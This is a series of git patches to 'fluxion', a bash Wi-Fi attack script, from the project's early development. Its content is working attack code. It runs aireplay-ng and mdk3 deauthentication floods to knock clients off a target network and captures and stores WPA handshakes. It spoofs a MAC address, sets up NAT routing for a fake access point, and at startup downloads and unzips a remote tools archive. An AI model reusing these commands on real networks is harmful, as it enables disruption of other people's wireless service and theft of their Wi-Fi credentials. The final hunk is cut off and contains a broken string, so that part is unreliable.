"Aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install aircrack-ng -y + apt-get install aircrack-ng -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -44,7 +47,7 @@ transparent="\e[0m" echo -ne "Aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install aireplay-ng -y + apt-get install aireplay-ng -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -53,7 +56,7 @@ transparent="\e[0m" echo -ne "Airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install airmon-ng -y + apt-get install aircrack-ng -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -62,7 +65,7 @@ transparent="\e[0m" echo -ne "Airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install airodump-ng -y + apt-get install aircrack-ng -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -71,7 +74,7 @@ transparent="\e[0m" echo -ne "Awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install awk -y + apt-get install awk -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -80,7 +83,7 @@ transparent="\e[0m" echo -ne "Curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install curl -y + apt-get install curl -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -89,7 +92,7 @@ transparent="\e[0m" echo -ne "Dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - sudo apt-get install dhcpd -y + apt-get install isc-dhcp-server -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -98,7 +101,7 @@ transparent="\e[0m" echo -ne "Hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install hostapd -y + apt-get install hostapd -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -107,7 +110,7 @@ transparent="\e[0m" echo -ne "Iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install wireless-tools -y + apt-get install wireless-tools -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -116,7 +119,7 @@ transparent="\e[0m" echo -ne "Lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install lighttpd -y + apt-get install lighttpd -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -125,7 +128,7 @@ transparent="\e[0m" echo -ne "Macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install macchanger -y + apt-get install macchanger -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -134,7 +137,7 @@ transparent="\e[0m" echo -ne "Mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install mdk3 -y + apt-get install mdk3 -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -143,7 +146,7 @@ transparent="\e[0m" echo -ne "Php5-cgi........" if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install php5-cgi -y + apt-get install php5-cgi -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -152,7 +155,7 @@ transparent="\e[0m" echo -ne "Pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install pyrit + apt-get install pyrit else echo -e "\e[1;32mOK!"$transparent"" fi @@ -161,7 +164,7 @@ transparent="\e[0m" echo -ne "Python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install python -y + apt-get install python -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -170,7 +173,7 @@ transparent="\e[0m" echo -ne "Unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install unzip -y + apt-get install unzip -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -183,12 +186,12 @@ transparent="\e[0m" wget http://linux.gungoos.com/mdk3-v6.tar.gz tar xvzf mdk3-v6.tar.gz cd mdk3-v6 - sudo apt-get install patch + apt-get install patch wget http://linux.gungoos.com/mdk3-v6.patch patch Makefile < mdk3-v6.patch rm mdk3-v6.patch - sudo make - sudo make install + make + make install else echo -e "\e[1;32mOK!"$transparent"" fi @@ -197,7 +200,7 @@ transparent="\e[0m" echo -ne "Xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install xterm -y + apt-get install xterm -y else echo -e "\e[1;32mOK!"$transparent"" fi @@ -208,6 +211,6 @@ transparent="\e[0m" echo "sources.list is located in /etc/apt/sources.list" echo "remove kali source" -sudo nano /etc/apt/sources.list -sudo nano /etc/apt/sources.list -sudo apt-get update +vi /etc/apt/sources.list +vi /etc/apt/sources.list +apt-get update From 159890982c6f94f6a4670073df4b87181900780e Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 00:15:13 +0200 Subject: [PATCH 070/294] fix root check of fluxion and remove all of the sudo references --- fluxion | 78 +++++++++++++++++++++++++++------------------------------ 1 file changed, 37 insertions(+), 41 deletions(-) diff --git a/fluxion b/fluxion index 7766be9..e77f6ca 100755 --- a/fluxion +++ b/fluxion @@ -6,8 +6,10 @@ ## ## ################################ - - +if [[ $EUID -ne 0 ]]; then + echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root."$transparent"" + exit 1 +fi clear ##################################### < CONFIGURATION > ##################################### @@ -49,7 +51,7 @@ function conditional_clear() { } function airmon { - sudo chmod +x airmon + chmod +x airmon } airmon # Check Updates @@ -272,12 +274,6 @@ function mostrarheader(){ ############################################## < START > ############################################## - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - # Check requirements function checkdependences { @@ -888,11 +884,11 @@ Unknown option. Choose again"; conditional_clear ;; } function wifi-phisher { -sudo python wifiphisher.py +python wifiphisher.py } function wifite { -sudo python wifite.py +python wifite.py } function wps { @@ -922,62 +918,62 @@ echo "+ Help and Support from Aanarchyy" sleep 3 clear -sudo rfkill unblock all +rfkill unblock all #####Functions for Monitor Mode#### enable_mon_mode_1() { echo "Enabling Monitor Mode on $WIFI_MONITOR1" -sudo ifconfig $WIFI_MONITOR1 down +ifconfig $WIFI_MONITOR1 down sleep 1 -sudo iwconfig $WIFI_MONITOR1 mode monitor +iwconfig $WIFI_MONITOR1 mode monitor sleep 1 -sudo ifconfig $WIFI_MONITOR1 up +ifconfig $WIFI_MONITOR1 up echo "Monitor Mode Enabled" } enable_mon_mode_2() { echo "Enabling Monitor Mode on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down +ifconfig $WIFI_MONITOR2 down sleep 1 -sudo iwconfig $WIFI_MONITOR2 mode monitor +iwconfig $WIFI_MONITOR2 mode monitor sleep 1 -sudo ifconfig $WIFI_MONITOR2 up +ifconfig $WIFI_MONITOR2 up echo "Monitor Mode Enabled" } enable_mon_mode_3() { echo "Enabling Monitor Mode on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down +ifconfig $WIFI_MONITOR3 down sleep 1 -sudo iwconfig $WIFI_MONITOR3 mode monitor +iwconfig $WIFI_MONITOR3 mode monitor sleep 1 -sudo ifconfig $WIFI_MONITOR3 up +ifconfig $WIFI_MONITOR3 up echo "Monitor Mode Enabled" } enable_mon_mode_4() { echo "Enabling Monitor Mode on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down +ifconfig $WIFI_MONITOR4 down sleep 1 -sudo iwconfig $WIFI_MONITOR4 mode monitor +iwconfig $WIFI_MONITOR4 mode monitor sleep 1 -sudo ifconfig $WIFI_MONITOR4 up +ifconfig $WIFI_MONITOR4 up echo "Monitor Mode Enabled" } enable_mon_mode_5() { echo "Enabling Monitor Mode on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down +ifconfig $WIFI_MONITOR5 down sleep 1 -sudo iwconfig $WIFI_MONITOR5 mode monitor +iwconfig $WIFI_MONITOR5 mode monitor sleep 1 -sudo ifconfig $WIFI_MONITOR5 up +ifconfig $WIFI_MONITOR5 up echo "Monitor Mode Enabled" } @@ -988,55 +984,55 @@ echo "Monitor Mode Enabled" mac_change_1() { echo "Setting the MAC Address on $WIFI_MONITOR1" -sudo ifconfig $WIFI_MONITOR1 down +ifconfig $WIFI_MONITOR1 down sleep 3 macchanger $WIFI_MONITOR1 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $WIFI_MONITOR1 up +ifconfig $WIFI_MONITOR1 up echo "MAC Changed" } mac_change_2() { echo "Setting the MAC Address on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down +ifconfig $WIFI_MONITOR2 down sleep 3 macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $WIFI_MONITOR2 up +ifconfig $WIFI_MONITOR2 up echo "MAC Changed" } mac_change_3() { echo "Setting the MAC Address on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down +ifconfig $WIFI_MONITOR3 down sleep 3 macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $WIFI_MONITOR3 up +ifconfig $WIFI_MONITOR3 up echo "MAC Changed" } mac_change_4() { echo "Setting the MAC Address on $WIFI_MONITOR4" -sudo ifconfig $WIFI_MONITOR4 down +ifconfig $WIFI_MONITOR4 down sleep 3 macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $WIFI_MONITOR4 up +ifconfig $WIFI_MONITOR4 up echo "MAC Changed" } mac_change_5() { echo "Setting the MAC Address on $WIFI_MONITOR5" -sudo ifconfig $WIFI_MONITOR5 down +ifconfig $WIFI_MONITOR5 down sleep 3 macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $WIFI_MONITOR5 up +ifconfig $WIFI_MONITOR5 up echo "MAC Changed" } @@ -1048,11 +1044,11 @@ echo "MAC Changed" scan_for_targets() { -sudo ifconfig $WIFI_MONITOR1 down -sudo iwconfig $WIFI_MONITOR1 mode managed -sudo ifconfig $WIFI_MONITOR1 up +ifconfig $WIFI_MONITOR1 down +iwconfig $WIFI_MONITOR1 mode managed +ifconfig $WIFI_MONITOR1 up -eval $(sudo iwlist $WIFI_MONITOR1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') +eval $(iwlist $WIFI_MONITOR1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') wps-wifi-monitor From c680d91c13b8e92dc3b31798c351da65403dce15 Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 00:32:39 +0200 Subject: [PATCH 071/294] correct translation --- fluxion | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fluxion b/fluxion index e77f6ca..28cb94a 100755 --- a/fluxion +++ b/fluxion @@ -139,13 +139,13 @@ function exitmode { fi if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" + echo -e ""$weis"["$rot"-"$weis"] "$weis"Disable monitoring interface "$verde"$WIFI_MONITOR"$transparent"" ./airmon stop $WIFI_MONITOR &> $flux_output_device fi if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" + echo -e ""$weis"["$rot"-"$weis"] "$weis"Disable interface "$verde"$WIFI"$transparent"" ./airmon stop $WIFI &> $flux_output_device fi @@ -178,12 +178,12 @@ function exitmode { } -# Genera listado de Interfaces en el Script +# Generate a list of web interfaces readarray -t webinterfaces < <(echo -e "Web Interface \e[1;31mExit"$transparent"" ) -# Genera listado de Idiomas web +# Generate a list of web translations readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] Spanish[ESP] GERMAN [GER] \e[1;31mBack"$transparent"" From 6ef2e1a26722bcad9b2cf5f0ae9ffdfe181e9d65 Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 00:51:26 +0200 Subject: [PATCH 072/294] correct color name --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 28cb94a..6c5ce73 100755 --- a/fluxion +++ b/fluxion @@ -25,7 +25,7 @@ RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colores white="\033[1;37m" grey="\033[0;37m" -red2="\033[0;35m" +purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" @@ -477,7 +477,7 @@ if [ $FLUX_DEBUG != 1 ]; then checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" + echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" # if [ "$revision_online" != "?" ]; then # # if [ "$revision" != "$revision_online" ]; then From ef73ad35e26adff6523abb6566dd3f322254a81d Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 02:25:24 +0200 Subject: [PATCH 073/294] translate deauth titles --- fluxion | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fluxion b/fluxion index 6c5ce73..b324171 100755 --- a/fluxion +++ b/fluxion @@ -15,7 +15,7 @@ clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones +# Deauth duration during handshake capture DEAUTHTIME="30" revision=1 version=0.19 @@ -2908,13 +2908,13 @@ function handshakecheck { # Deauth all function deauthall { - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! sleep 15 kill $mdk3PID &>$flux_output_device @@ -2924,7 +2924,7 @@ function deauthmdk3 { function deauthesp { sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes From c00757438106406613449ec4f52ca8194d7ddcc4 Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 02:43:32 +0200 Subject: [PATCH 074/294] save handshakes to predefined path --- fluxion | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/fluxion b/fluxion index b324171..c991aa0 100755 --- a/fluxion +++ b/fluxion @@ -15,6 +15,7 @@ clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" +HANDSHAKE_PATH="/root/handshakes" # Deauth duration during handshake capture DEAUTHTIME="30" revision=1 @@ -449,11 +450,17 @@ function checkdependences { mostrarheader checkdependences -# Create Workbook +# Create working directory if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device + mkdir -p $DUMP_PATH &>$flux_output_device fi +# Create handshake directory +if [ ! -d $HANDSHAKE_PATH ]; then + mkdir -p $HANDSHAKE_PATH &>$flux_output_device +fi + + if [ $FLUX_DEBUG != 1 ]; then @@ -2298,6 +2305,7 @@ function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng &>$flux_output_device + wpaclean $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device webinterface break else @@ -2308,13 +2316,14 @@ function checkhandshake { if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng &>$flux_output_device + pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap strip &>$flux_output_device webinterface break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" + Handshake_statuscheck="${yellow}Corrupted$transparent" else - Handshake_statuscheck="${red}Not_Found$transparent" + Handshake_statuscheck="${red}Not_found$transparent" fi fi From 15967c92f8601b1f1fe25977a0402ff5af502678 Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 02:52:06 +0200 Subject: [PATCH 075/294] tidy ip forwarding management procedures --- fluxion | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/fluxion b/fluxion index c991aa0..0271cd2 100755 --- a/fluxion +++ b/fluxion @@ -140,20 +140,20 @@ function exitmode { fi if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Disable monitoring interface "$verde"$WIFI_MONITOR"$transparent"" + echo -e ""$weis"["$rot"-"$weis"] "$weis"Disabling monitoring interface "$verde"$WIFI_MONITOR"$transparent"" ./airmon stop $WIFI_MONITOR &> $flux_output_device fi if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Disable interface "$verde"$WIFI"$transparent"" + echo -e ""$weis"["$rot"-"$weis"] "$weis"Disabling interface "$verde"$WIFI"$transparent"" ./airmon stop $WIFI &> $flux_output_device fi if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding + echo -e ""$white"["$red"-"$white"] "$white"Disabling "$grey"forwarding of packets"$transparent"" + sysctl -w net.ipv4.ip_forward=0 fi echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" @@ -2655,7 +2655,7 @@ function routear { ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward + sysctl -w net.ipv4.ip_forward=1 iptables --flush iptables --table nat --flush From dbf2c775a774c846c1886498426e9ca6efe590d5 Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 02:58:17 +0200 Subject: [PATCH 076/294] fix typo --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 0271cd2..abf1230 100755 --- a/fluxion +++ b/fluxion @@ -2295,7 +2295,7 @@ function capture { if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & fi } From 0c68241671c3c35c6b9d96aab8ace87405c42c95 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 18:16:05 +0400 Subject: [PATCH 077/294] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index dc12cc2..5104b57 100644 --- a/README.md +++ b/README.md @@ -28,11 +28,12 @@ $ sudo ./fluxion #Credits 1. Deltax @FLuX and Fluxion main developer -2. Strasharo @Fluxion help to fix DHCPD and Pyrit Problems, spelling mistakes and translation mistakes +2. Strasharo @Fluxion help to fix DHCPD and pyrit problems, spelling mistakes 3. vk439 @Linset main developer of linset 4. ApatheticEuphoria @Wifi-Slaughter WPS Crack 5. Derv82 @Wifite/2 6. Sophron @Wifiphisher +7. sensepost @Mana #Bugs fixed From 0bfef41249e3b650f46b48d4d29d0f0d738c146e Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 18:35:04 +0100 Subject: [PATCH 078/294] Update fluxion --- fluxion | 25 ++++++++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/fluxion b/fluxion index abf1230..d2c5cd9 100755 --- a/fluxion +++ b/fluxion @@ -189,6 +189,15 @@ readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] Spanish[ESP] GERMAN [GER] \e[1;31mBack"$transparent"" ) +function tools { + mostrarheader + conditional_clear + sudo rm -rf tools.zip & sudo rm -rf tools/ + sudo wget https://sites.google.com/site/deltaxflux/tools.zip + sudo unzip tools.zip + +} +tools #Language for Web Interface #GER @@ -844,7 +853,8 @@ function askAP { echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER - Bruteforce WPS Pin" echo -e " "$blue"4)"$transparent" Wifite - Automated Network Hacking" echo -e " "$blue"5)"$transparent" Wifi-Phisher - Evil Twin (Requires 2 Adapters)" - echo -e " "$blue"6)"$transparent" Back" + echo -e " "$blue"6)"$transparent" Mana" + echo -e " "$blue"7)"$transparent" Back" echo " " echo -n " #> " read yn @@ -854,8 +864,9 @@ function askAP { 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; 4 ) fakeapmode="Wifite" ; wifite ; break ;; - 5 ) fakeapmode="Wifi-Phisher"; break;; - 6 ) selection; break ;; + 5 ) fakeapmode="Wifi-Phisher"; wifi-phisher ; break ;; + 6 ) fakeapmode="Mana"; mana ; break ;; + 7 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done @@ -889,8 +900,16 @@ Unknown option. Choose again"; conditional_clear ;; done } +function mana { +cd tools/ +exitmode +} function wifi-phisher { +mostrarheader +conditional_clear +cd tools +exitmode python wifiphisher.py } From 258e7119f7a80d7dbef99f851290fc55e1f347c3 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 18:36:58 +0100 Subject: [PATCH 079/294] Update fluxion --- fluxion | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/fluxion b/fluxion index d2c5cd9..8f6cb53 100755 --- a/fluxion +++ b/fluxion @@ -171,7 +171,8 @@ function exitmode { rm -R $DUMP_PATH/* &>$flux_output_device fi - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" + echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network +ger"$transparent"" service restart network-manager &> $flux_output_device & echo -e 